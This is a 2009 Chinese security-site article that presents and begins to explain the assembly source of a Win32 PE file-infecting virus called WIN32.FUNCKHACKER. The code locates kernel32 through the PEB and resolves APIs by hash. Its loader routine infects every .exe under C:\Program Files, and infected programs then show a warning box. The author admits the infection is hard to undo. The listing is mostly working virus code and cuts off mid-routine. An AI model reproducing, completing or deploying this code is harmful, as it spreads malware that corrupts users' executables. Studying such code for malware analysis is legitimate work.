为了顺应当前形势和更好的发展,黑基网已于9月19日正式更名为【安基网】,域名更换为www.safebase.cn,请卸载旧的APP并安装新的APP,给您带来不便,敬请理解!谢谢

黑基Web安全攻防班
安基网 首页 IT技术 安全攻防 查看内容

美妙的PE Virus 编写

2009-3-14 10:38| 投稿: security

摘要: xxfish  首先以一段Demo 病毒代码来开端。下面以文章的形式来剖析感染过程。希望结交更多的Virus研究的看官。 o(∩_∩)o... 复制内容到剪贴板 代码:;========...
xxfish  首先以一段Demo 病毒代码来开端。下面以文章的形式来剖析感染过程。希望结交更多的Virus研究的看官。 o(∩_∩)o... 复制内容到剪贴板 代码:;============================================================================;; WIN32.FUNCKHACKER - WRITTEN BY XFISH; (c)2009-03;;============================================================================;; DESCRIPCION; ===========; ;   病毒代码采用PEB获得kernel32基地址,然后通过hash搜索填充api函数(这里Thanks ...    coban2k,Anskya), 病毒整体可;移植到任何的宿主中,这也就是和网络上目前那些通过静态注入(感染)部分shellcode的区别... 此病毒代码没有加入病毒更多的;技术,例如epo, 多态等。但是代码我认为却是比较精炼,尤其是Get_Apis过程,填充api方便  快捷 o(∩_∩)o...;;  此病毒代码仅仅是为了作为技术研究而使用,所以我限制了传播,在程序中,我做了仅是Loader调用 -;感染过程,感染过程我仅仅感染Program Files目录的所有exe文件程序代码在宿主中仅仅调用消息框提示给用户.....虽然说;限制了传播,但是感染后要恢复的话,也不是很容易,所以谨慎使用.....;==============================================================================         format PE GUI 4.0        include 'win32ax.inc'                entry        Virus_Entry        .text        ;--------------------------        Virus_Flag equ 'FISH'        ;--------------------------        Virus_Entry:        pushad        pushfd                call        DelsDels:                pop        ebp        sub        ebp, Dels        ;-------------------------        ;填充Api函数地址        ;-------------------------        call        GetKrnl32        lea        edi, [ebp + dwFuncs]        call        Get_Apis        @pushsz        'user32'        call        [ebp + _LoadLibraryA]        call        Get_Apis        ;--------------------------------        ;为了没有危害性,程序判断了在宿主中        ;不开启感染函数,这样也就无法通过宿主        ;来进行传播,宿主仅调用提提示函数 感染        ;仅在Loader中开启.... o(∩_∩)o...        ;-------------------------------        mov        eax, [fs:30h]        mov        eax, [eax+08h]        cmp        dword [eax+2], Virus_Flag        jne        .Loader        ;-----------------------------------        ;消息框警告用户已经中毒        ;----------------------------------        sub        edx, edx        push        30h        lea        eax, [ebp + szTitle]        push        eax        lea        eax, [ebp + szText]        push        eax        push        edx        call        [ebp + _MessageBoxA]        ;---------------------------------------        popfd        add        esp, 4*8        lea        eax, [ebp + Jmp_Host]        jmp        eax          .Loader:          ;-------------------------        ;Loader 感染过程        ;-------------------------        mov        edx, ebp        push        '.exe'        @pushsz        'C:\Program Files'        call        Inject_Disk                popfd        popad        ret        ;(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((           ;---------------------------------------------; 获得kernel32基地址; input: nothing;---------------------------------------------GetKrnl32:        mov     eax, [fs:30h]         irp    offset, 0ch,1ch,00h,08h {mov eax, [eax+offset]}         ret ;---------------------------------------------------;获取并填充api函数地址;input : eax =  Krnl32Base , edi = HashFuncAddress;thanks coban2k,Anskya;---------------------------------------------------Get_Apis:        pushad        xchg         eax, ebx        mov          eax, [ebx+03ch]        mov          esi, [eax+ebx+78h]        ; Get Export Rva        lea          esi, [esi+ebx+18h]         ; get Export NumberOfFunctions                cld        lodsd                                ; NumberOfFunctions                xchg         eax, ecx        lodsd                                ; AddressOfFunctions        push         eax        lodsd                                ; AddressOfNames        add          eax, ebx        xchg         eax, edx        lodsd                                ; AddressOfNameOrdinals        add          eax, ebx        xchg         eax, ebp        xchg         edx, esi        .Next_Func:        lodsd        add          eax, ebx        xor          edx, edx        .Calc_Hash:                rol          edx, 3        xor          dl, byte [eax]        inc         eax        cmp         byte [eax], 0        jnz          .Calc_Hash                push         edi        .Scan_dw_Funcs:        cmp          [edi], edx        jnz          .Skip_Function                movzx  eax, word [ebp]        shl    eax, 2        add    eax, [esp+4]        mov    eax, [eax+ebx]        add    eax, ebx        scasd        stosd        .Skip_Function:        scasd        add        edi, 4        sub          eax, eax        cmp          dword [edi], eax        jne          .Scan_dw_Funcs                pop          edi        add          ebp, 2        loop        .Next_Fu

小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册黑基账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!



免责声明:本文由投稿者转载自互联网,版权归原作者所有,文中所述不代表本站观点,若有侵权或转载等不当之处请联系我们处理,让我们一起为维护良好的互联网秩序而努力!联系方式见网站首页右下角。


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

最新

返回顶部